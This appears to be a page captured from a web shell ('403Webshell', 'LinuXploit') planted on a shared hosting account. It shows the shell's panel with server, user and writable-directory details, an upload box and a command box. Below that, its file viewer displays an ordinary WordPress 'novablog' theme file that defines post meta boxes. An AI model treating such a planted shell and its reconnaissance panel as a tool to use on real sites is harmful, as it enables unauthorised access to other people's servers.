403Webshell
Server IP : 213.186.33.4  /  Your IP : 216.73.216.222
Web Server : Apache
System : Linux webm005.cluster103.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64
User : karinebmkh ( 644538)
PHP Version : 8.4.22
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/karinebmkh/www2/wp-content/themes/novablog/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/karinebmkh/www2/wp-content/themes/novablog/includes//theme-postmeta.php
<?php
add_action('admin_menu', 'novablog_add_box');

/*-----------------------------------------------------------------------------------*/
/*	Add metabox to edit page
/*-----------------------------------------------------------------------------------*/
 
function novablog_add_box() {
	global $novablog_meta_box_all, $novablog_meta_box_standard, $novablog_meta_box_audio, $novablog_meta_box_video, $novablog_meta_box_link, $novablog_meta_box_gallery;

$novablog_meta_box_all = array(
	'id' => 'novablog-meta-box-all',
	'title' =>  esc_html__('Sidebar Option', 'novablog'),
	'page' => 'post',
	'context' => 'normal',
	'priority' => 'high',
	'fields' => array(
		array( "name" => esc_html__('Sidebar Option','novablog'),
				"desc" => esc_html__('Choose Sidebar Option.','novablog'),
				"id" => "novablog_sidebar_option",
				"type" => "radio",
				"std" => "2cr", 
				"options" => array("2cr", "2cl", "1col")
			)
	),
);
	
$novablog_meta_box_standard = array(
	'id' => 'novablog-meta-box-standard',
	'title' =>  esc_html__('Layout Settings', 'novablog'),
	'page' => 'post',
	'context' => 'normal',
	'priority' => 'high',
	'fields' => array(
		array( "name" => esc_html__('Post layout','novablog'),
				"desc" => esc_html__('Choose post layout.','novablog'),
				"id" => "novablog_standard_layout_format",
				"type" => "select",
				"std" => esc_html__('normal', 'novablog'), 
				"options" => array(esc_html__('normal', 'novablog'), esc_html__('modern', 'novablog'), esc_html__('portrait', 'novablog'))
			),
	),
);

 $novablog_meta_box_gallery = array(
	'id' => 'novablog-meta-box-gallery',
	'title' =>  esc_html__('Gallery Settings', 'novablog'),
	'page' => 'post',
	'context' => 'normal',
	'priority' => 'high',
	'fields' => array(
		array( "name" => esc_html__('Gallery type','novablog'),
				"desc" => esc_html__('Choose gallery type.','novablog'),
				"id" => "novablog_gallery_format",
				"type" => "select",
				"std" => esc_html__('-=set slideshow type=-', 'novablog'), 
				"options" => array(esc_html__('-=set slideshow type=-', 'novablog'), esc_html__('slideshow', 'novablog'), esc_html__('grid', 'novablog'))
			),
		array( "name" => esc_html__('Row Height','novablog'),
				"desc" => esc_html__('The preferred height of rows in pixel.','novablog'),
				"id" => "novablog_gallery_targetheight",
				"type" => "text",
				"std" => "200"
			),
				array( "name" => esc_html__('Row Height on Single Post Page','novablog'),
				"desc" => esc_html__('The preferred height of rows in pixel on Single Post Page.','novablog'),
				"id" => "novablog_gallery_targetheight_single",
				"type" => "text",
				"std" => "200"
			),
		array( "name" => esc_html__('Margins','novablog'),
				"desc" => esc_html__('Decide the margins between the images. This only works with grid type gallery format.','novablog'),
				"id" => "novablog_gallery_margins",
				"type" => "text",
				"std" => "10"
			),
		array( "name" => esc_html__('Randomize','novablog'),
				"desc" => esc_html__('Automatically randomize or not the order of photos. This only works with grid type gallery format.','novablog'),
				"id" => "novablog_gallery_randomize",
				"type" => "select",
				"std" => esc_html__('false', 'novablog'),
				"options" => array(esc_html__('false', 'novablog'), esc_html__('true', 'novablog')) 
			),
		array( "name" => esc_html__('Captions','novablog'),
				"desc" => esc_html__('Decide if you want to show the caption or not, that appears when your mouse is over the image. This only works with grid type gallery format.','novablog'),
				"id" => "novablog_gallery_captions",
				"type" => "select",
				"std" => esc_html__('true', 'novablog'),
				"options" => array(esc_html__('true', 'novablog'), esc_html__('false', 'novablog'))
			),
		array( "name" => esc_html__('Featured image','novablog'),
				"desc" => esc_html__('Do you want to show gallery only in the single post page ?','novablog'),
				"id" => "novablog_gallery_featured",
				"type" => "select",
				"std" => esc_html__('false', 'novablog'),
				"options" => array(esc_html__('false', 'novablog'), esc_html__('true', 'novablog'))
			)
	),	
);

$novablog_meta_box_audio = array(
	'id' => 'novablog-meta-box-audio',
	'title' =>  esc_html__('Audio Settings', 'novablog'),
	'page' => 'post',
	'context' => 'normal',
	'priority' => 'high',
	'fields' => array(
		array( "name" => esc_html__('Title','novablog'),
				"desc" => esc_html__('Input the audio title (for playlist).','novablog'),
				"id" => "novablog_audio_title",
				"type" => "text",
				"std" => ""
			),
		array( "name" => esc_html__('Artist','novablog'),
				"desc" => esc_html__('Input the audio artist (for playlist).','novablog'),
				"id" => "novablog_audio_artist",
				"type" => "text",
				"std" => ""
			),
		array( "name" => esc_html__('Audio URL','novablog'),
				"desc" => esc_html__('Input the audio URL.','novablog'),
				"id" => "novablog_audio_url",
				"type" => "text",
				"std" => ""
			),
		array( "name" => esc_html__('Embedded Code','novablog'),
				"desc" => esc_html__('You can include embedded code from soundcloud.com here. Attention! This code overwrite your audio URL(s).','novablog'),
				"id" => "novablog_audio_embed",
				"type" => "textarea",
				"std" => ""
			)
	),	
);

$novablog_meta_box_video = array(
	'id' => 'novablog-meta-box-video',
	'title' =>  esc_html__('Video Settings', 'novablog'),
	'page' => 'post',
	'context' => 'normal',
	'priority' => 'high',
	'fields' => array(
		array( "name" => esc_html__('Embedded Video Code','novablog'),
				"desc" => esc_html__('YouTube Video - Enter the full url to the video page like this: http://youtube.com/watch?v=3H8bnKdf654. Vimeo Video - Enter the full url to the video page like this: http://vimeo.com/9679622','novablog'),
				"id" => "novablog_video_embed",
				"type" => "text",
				"std" => ""
			)
		)
);
$novablog_meta_box_link = array(
	'id' => 'novablog-meta-box-link',
	'title' =>  esc_html__('Link Settings', 'novablog'),
	'page' => 'post',
	'context' => 'normal',
	'priority' => 'high',
	'fields' => array(
		array( "name" => esc_html__('The url','novablog'),
				"desc" => esc_html__('Insert the URL you wish to link to.','novablog'),
				"id" => "novablog_post_link",
				"type" => "text",
				"std" => ""
			)
		)
);
add_meta_box($novablog_meta_box_all['id'], $novablog_meta_box_all['title'], 'novablog_show_box_all', $novablog_meta_box_all['page'], $novablog_meta_box_all['context'], $novablog_meta_box_all['priority']);
add_meta_box($novablog_meta_box_standard['id'], $novablog_meta_box_standard['title'], 'novablog_show_box_standard', $novablog_meta_box_standard['page'], $novablog_meta_box_standard['context'], $novablog_meta_box_standard['priority']);
	add_meta_box($novablog_meta_box_audio['id'], $novablog_meta_box_audio['title'], 'novablog_show_box_audio', $novablog_meta_box_audio['page'], $novablog_meta_box_audio['context'], $novablog_meta_box_audio['priority']);
	add_meta_box($novablog_meta_box_video['id'], $novablog_meta_box_video['title'], 'novablog_show_box_video', $novablog_meta_box_video['page'], $novablog_meta_box_video['context'], $novablog_meta_box_video['priority']);
	add_meta_box($novablog_meta_box_link['id'], $novablog_meta_box_link['title'], 'novablog_show_box_link', $novablog_meta_box_link['page'], $novablog_meta_box_link['context'], $novablog_meta_box_link['priority']);
	add_meta_box($novablog_meta_box_gallery['id'], $novablog_meta_box_gallery['title'], 'novablog_show_box_gallery', $novablog_meta_box_gallery['page'], $novablog_meta_box_gallery['context'], $novablog_meta_box_gallery['priority']);
}


/*-----------------------------------------------------------------------------------*/
/*	Callback function to show fields in meta box
/*-----------------------------------------------------------------------------------*/
function novablog_show_box_all() {
	global $novablog_meta_box_all, $post;

	// Use nonce for verification
	echo '<input type="hidden" name="novablog_meta_box_nonce" value="', wp_create_nonce(basename(__FILE__)), '" />';
 
	echo '<table class="form-table radio-sidebar-option">';
 
	foreach ($novablog_meta_box_all['fields'] as $field) {
		// get current post meta data
		$meta = get_post_meta($post->ID, $field['id'], true) ? get_post_meta($post->ID, $field['id'], true): '2cr' ;
		switch ($field['type']) {
			
						//If radio
			case 'radio':
			
				echo '<tr>',
				'<th><label for="', $field['id'], '"><span class="novablog-table-name">', $field['name'], '</span><span class="novablog-table-desc">'. $field['desc'].'</span></label></th>',
				'<td>';
			
				foreach ($field['options'] as $option) {
					
					echo'<label><input type="radio" name="'.$field['id'].'" value="'. $option .'"';
					if ($meta == $option ) { 
						echo ' checked'; 
					}
					echo'><img src="'.get_template_directory_uri().'/includes/images/'.$option.'.png" alt="'. $option .'"  /></label>';
				
				} 
				
				
			
			break;

		}

	}
 
	echo '</table>';
}

function novablog_show_box_standard() {
	global $novablog_meta_box_standard, $post;

	// Use nonce for verification
	echo '<input type="hidden" name="novablog_meta_box_nonce" value="', wp_create_nonce(basename(__FILE__)), '" />';
 
	echo '<table class="form-table">';
 
	foreach ($novablog_meta_box_standard['fields'] as $field) {
		// get current post meta data
		$meta = get_post_meta($post->ID, $field['id'], true);
		switch ($field['type']) {
			
			//If Select	
			case 'select':
			
				echo '<tr>',
				'<th><label for="', $field['id'], '"><span class="novablog-table-name">', $field['name'], '</span><span class="novablog-table-desc">'. $field['desc'].'</span></label></th>',
				'<td>';
			
				echo'<select name="'.$field['id'].'">';
			
				foreach ($field['options'] as $option) {
					
					echo'<option';
					if ($meta == $option ) { 
						echo ' selected="selected"'; 
					}
					echo'>'. $option .'</option>';
				
				} 
				
				echo'</select>';
			
			break;
			

		}

	}
 
	echo '</table>';
}


function novablog_show_box_audio() {
	global $novablog_meta_box_audio, $post;

	// Use nonce for verification
	echo '<input type="hidden" name="novablog_meta_box_nonce" value="', wp_create_nonce(basename(__FILE__)), '" />';
 
	echo '<table class="form-table">';
 
	foreach ($novablog_meta_box_audio['fields'] as $field) {
		// get current post meta data
		$meta = get_post_meta($post->ID, $field['id'], true);
		switch ($field['type']) {
 
			//If Text		
			case 'text':
			
			echo '<tr>',
				'<th><label for="', $field['id'], '"><span class="novablog-table-name">', $field['name'], '</span><span class="novablog-table-desc">'. $field['desc'].'</span></label></th>',
				'<td>';
			echo '<input class="novablog-input" type="text" name="', $field['id'], '" id="', $field['id'], '" value="', $meta ? $meta : stripslashes(htmlspecialchars(( $field['std']), ENT_QUOTES)), '" size="30" />';
			
			break;
			
			//If textarea		
			case 'textarea':
			
			echo '<tr>',
				'<th><label for="', $field['id'], '"><span class="novablog-table-name">', $field['name'], '</span><span class="novablog-table-desc">'. $field['desc'].'</span></label></th>',
				'<td>';
			echo '<textarea class="novablog-textarea" name="', $field['id'], '" id="', $field['id'], '" value="', $meta ? $meta : stripslashes(htmlspecialchars(( $field['std']), ENT_QUOTES)), '" rows="8" cols="5">', $meta ? $meta : stripslashes(htmlspecialchars(( $field['std']), ENT_QUOTES)), '</textarea>';
			
			break;
			
			//If Select	
			case 'select':
			
				echo '<tr>',
				'<th><label for="', $field['id'], '"><span class="novablog-table-name">', $field['name'], '</span><span class="novablog-table-desc">'. $field['desc'].'</span></label></th>',
				'<td>';
			
				echo'<select name="'.$field['id'].'">';
			
				foreach ($field['options'] as $option) {
					
					echo'<option';
					if ($meta == $option ) { 
						echo ' selected="selected"'; 
					}
					echo'>'. $option .'</option>';
				
				} 
				
				echo'</select>';
			
			break;

		}

	}
 
	echo '</table>';
}

function novablog_show_box_gallery() {
	global $novablog_meta_box_gallery, $post;
echo '<div id="novablog-pfui-format-gallery-preview" class="novablog-pfui-elm-block novablog-pfui-elm-block-image ">';
	
	
	echo '<div class="novablog-pfui-elm-container">';

		echo '<div class="novablog-pfui-gallery-picker">';
			
				global $post;
				$images = get_post_meta($post->ID, '_format_gallery_images', true);

				echo '<div class="gallery clearfix">';
				if ($images) {
					foreach ($images as $image) {
						$thumbnail = wp_get_attachment_image_src($image, 'thumbnail');
						
						echo '<span class="image" data-id="' . esc_attr($image) . '" title="'.esc_html__('Image','novablog').'"><img src="' . esc_url($thumbnail[0]) . '" alt="" /><span class="close dashicons dashicons-no-alt"></span><a class="dashicons dashicons-edit edit-image image-edit" href="#"></a></span>';
					}
				}
				echo '</div>';
			
			echo '<input type="hidden" id="product_image_gallery" name="_format_gallery_images" value="' . (empty($images) ? "" : implode(',', $images)) . '" />';
			echo '<p class="none"><a href="#" class="button novablog-pfui-gallery-button">'.esc_html__('Pick Images','novablog').'</a></p>';
		echo '</div>';

	echo '</div></div>';

	// Use nonce for verification
	echo '<input type="hidden" name="novablog_meta_box_nonce" value="', wp_create_nonce(basename(__FILE__)), '" />';
 
	echo '<table class="form-table">';
 
	foreach ($novablog_meta_box_gallery['fields'] as $field) {
		// get current post meta data
		$meta = get_post_meta($post->ID, $field['id'], true);
		switch ($field['type']) {
 
			//If Text		
			case 'text':
			
			echo '<tr>',
				'<th><label for="', $field['id'], '"><span class="novablog-table-name">', $field['name'], '</span><span class="novablog-table-desc">'. $field['desc'].'</span></label></th>',
				'<td>';
			echo '<input class="novablog-input" type="text" name="', $field['id'], '" id="', $field['id'], '" value="', $meta ? $meta : stripslashes(htmlspecialchars(( $field['std']), ENT_QUOTES)), '" size="30" />';
			
			break;
			
			//If textarea		
			case 'textarea':
			
			echo '<tr>',
				'<th><label for="', $field['id'], '"><span class="novablog-table-name">', $field['name'], '</span><span class="novablog-table-desc">'. $field['desc'].'</span></label></th>',
				'<td>';
			echo '<textarea class="novablog-textarea" name="', $field['id'], '" id="', $field['id'], '" value="', $meta ? $meta : stripslashes(htmlspecialchars(( $field['std']), ENT_QUOTES)), '" rows="8" cols="5">', $meta ? $meta : stripslashes(htmlspecialchars(( $field['std']), ENT_QUOTES)), '</textarea>';
			
			break;
			
			//If Select	
			case 'select':
			
				echo '<tr>',
				'<th><label for="', $field['id'], '"><span class="novablog-table-name">', $field['name'], '</span><span class="novablog-table-desc">'. $field['desc'].'</span></label></th>',
				'<td>';
			
				echo'<select name="'.$field['id'].'">';
			
				foreach ($field['options'] as $option) {
					
					echo'<option';
					if ($meta == $option ) { 
						echo ' selected="selected"'; 
					}
					echo'>'. $option .'</option>';
				
				} 
				
				echo'</select>';
			
			break;

		}

	}
 
	echo '</table>';
}

function novablog_show_box_video() {
	global $novablog_meta_box_video, $post;

	// Use nonce for verification
	echo '<input type="hidden" name="novablog_meta_box_nonce" value="', wp_create_nonce(basename(__FILE__)), '" />';
 
	echo '<table class="form-table">';
 
	foreach ($novablog_meta_box_video['fields'] as $field) {
		// get current post meta data
		$meta = get_post_meta($post->ID, $field['id'], true);
		switch ($field['type']) {
 
			
			//If Text		
			case 'text':
			
			echo '<tr>',
				'<th><label for="', $field['id'], '"><span class="novablog-table-name">', $field['name'], '</span><span class="novablog-table-desc">'. $field['desc'].'</span></label></th>',
				'<td>';
			echo '<input class="novablog-input" type="text" name="', $field['id'], '" id="', $field['id'], '" value="', $meta ? $meta : stripslashes(htmlspecialchars(( $field['std']), ENT_QUOTES)), '" size="30" />';
			
			break;
 
			
			//If textarea		
			case 'textarea':
			
			echo '<tr>',
				'<th><label for="', $field['id'], '"><span class="novablog-table-name">', $field['name'], '</span><span class="novablog-table-desc">'. $field['desc'].'</span></label></th>',
				'<td>';
			echo '<textarea class="novablog-textarea" name="', $field['id'], '" id="', $field['id'], '" value="', $meta ? $meta : stripslashes(htmlspecialchars(( $field['std']), ENT_QUOTES)), '" rows="8" cols="5">', $meta ? $meta : stripslashes(htmlspecialchars(( $field['std']), ENT_QUOTES)), '</textarea>';
			
			break;
			
			//If Select	
			case 'select':
			
				echo '<tr>',
				'<th><label for="', $field['id'], '"><span class="novablog-table-name">', $field['name'], '</span><span class="novablog-table-desc">'. $field['desc'].'</span></label></th>',
				'<td>';
			
				echo'<select name="'.$field['id'].'">';
			
				foreach ($field['options'] as $option) {
					
					echo'<option';
					if ($meta == $option ) { 
						echo ' selected="selected"'; 
					}
					echo'>'. $option .'</option>';
				
				} 
				
				echo'</select>';
			
			break;

		}

	}
 
	echo '</table>';
}

function novablog_show_box_link() {
	global $novablog_meta_box_link, $post;

	// Use nonce for verification
	echo '<input type="hidden" name="novablog_meta_box_nonce" value="', wp_create_nonce(basename(__FILE__)), '" />';
 
	echo '<table class="form-table">';
 
	foreach ($novablog_meta_box_link['fields'] as $field) {
		// get current post meta data
		$meta = get_post_meta($post->ID, $field['id'], true);
		switch ($field['type']) {
 
			
			//If Text		
			case 'text':
			
			echo '<tr>',
				'<th><label for="', $field['id'], '"><span class="novablog-table-name">', $field['name'], '</span><span class="novablog-table-desc">'. $field['desc'].'</span></label></th>',
				'<td>';
			echo '<input class="novablog-input" type="text" name="', $field['id'], '" id="', $field['id'], '" value="', $meta ? $meta : stripslashes(htmlspecialchars(( $field['std']), ENT_QUOTES)), '" size="30" />';
			
			break;

		}

	}
 
	echo '</table>';
}
add_action('save_post', 'novablog_save_data');


/*-----------------------------------------------------------------------------------*/
/*	Save data when post is edited
/*-----------------------------------------------------------------------------------*/
 
function novablog_save_data($post_id) {
	global $novablog_meta_box_all, $novablog_meta_box_standard, $novablog_meta_box_audio, $novablog_meta_box_video, $novablog_meta_box_link, $novablog_meta_box_gallery;
 
	// verify nonce
	if (!isset($_POST['novablog_meta_box_nonce']) || !wp_verify_nonce($_POST['novablog_meta_box_nonce'], basename(__FILE__))) {
		return $post_id;
	}
 
	// check autosave
	if (defined('DOING_AUTOSAVE') && DOING_AUTOSAVE) {
		return $post_id;
	}
 
	// check permissions
	if ('page' == $_POST['post_type']) {
		if (!current_user_can('edit_page', $post_id)) {
			return $post_id;
		}
	} elseif (!current_user_can('edit_post', $post_id)) {
		return $post_id;
	}

 		foreach ($novablog_meta_box_all['fields'] as $field) { 
		$old = get_post_meta($post_id, $field['id'], true);
		$new = sanitize_text_field($_POST[$field['id']]);
 
		if ($new && $new != $old) {
			update_post_meta($post_id, $field['id'],$new);
		} elseif ('' == $new && $old) {
			delete_post_meta($post_id, $field['id'], $old);
		}
	}
	
		foreach ($novablog_meta_box_standard['fields'] as $field) {
		$old = get_post_meta($post_id, $field['id'], true);
		$new = sanitize_text_field($_POST[$field['id']]);
 
		if ($new && $new != $old) {
			update_post_meta($post_id, $field['id'],$new);
		} elseif ('' == $new && $old) {
			delete_post_meta($post_id, $field['id'], $old);
		}
	}
	
	foreach ($novablog_meta_box_audio['fields'] as $field) {
		$old = get_post_meta($post_id, $field['id'], true);
		$new = $_POST[$field['id']];
 
		if ($new && $new != $old) {
			update_post_meta($post_id, $field['id'],stripslashes(htmlspecialchars($new)));
		} elseif ('' == $new && $old) {
			delete_post_meta($post_id, $field['id'], $old);
		}
	}
	
	
	foreach ($novablog_meta_box_gallery['fields'] as $field) {
		$old = get_post_meta($post_id, $field['id'], true);
		$new = sanitize_text_field($_POST[$field['id']]);
 
		if ($new && $new != $old) {
			update_post_meta($post_id, $field['id'],$new);
		} elseif ('' == $new && $old) {
			delete_post_meta($post_id, $field['id'], $old);
		}
	}
	
	foreach ($novablog_meta_box_video['fields'] as $field) {
		$old = get_post_meta($post_id, $field['id'], true);
		$new = sanitize_text_field($_POST[$field['id']]);
 
		if ($new && $new != $old) {
			update_post_meta($post_id, $field['id'], $new);
		} elseif ('' == $new && $old) {
			delete_post_meta($post_id, $field['id'], $old);
		}
	}
		foreach ($novablog_meta_box_link['fields'] as $field) {
		$old = get_post_meta($post_id, $field['id'], true);
		$new = sanitize_text_field($_POST[$field['id']]);
 
		if ($new && $new != $old) {
			update_post_meta($post_id, $field['id'], $new);
		} elseif ('' == $new && $old) {
			delete_post_meta($post_id, $field['id'], $old);
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit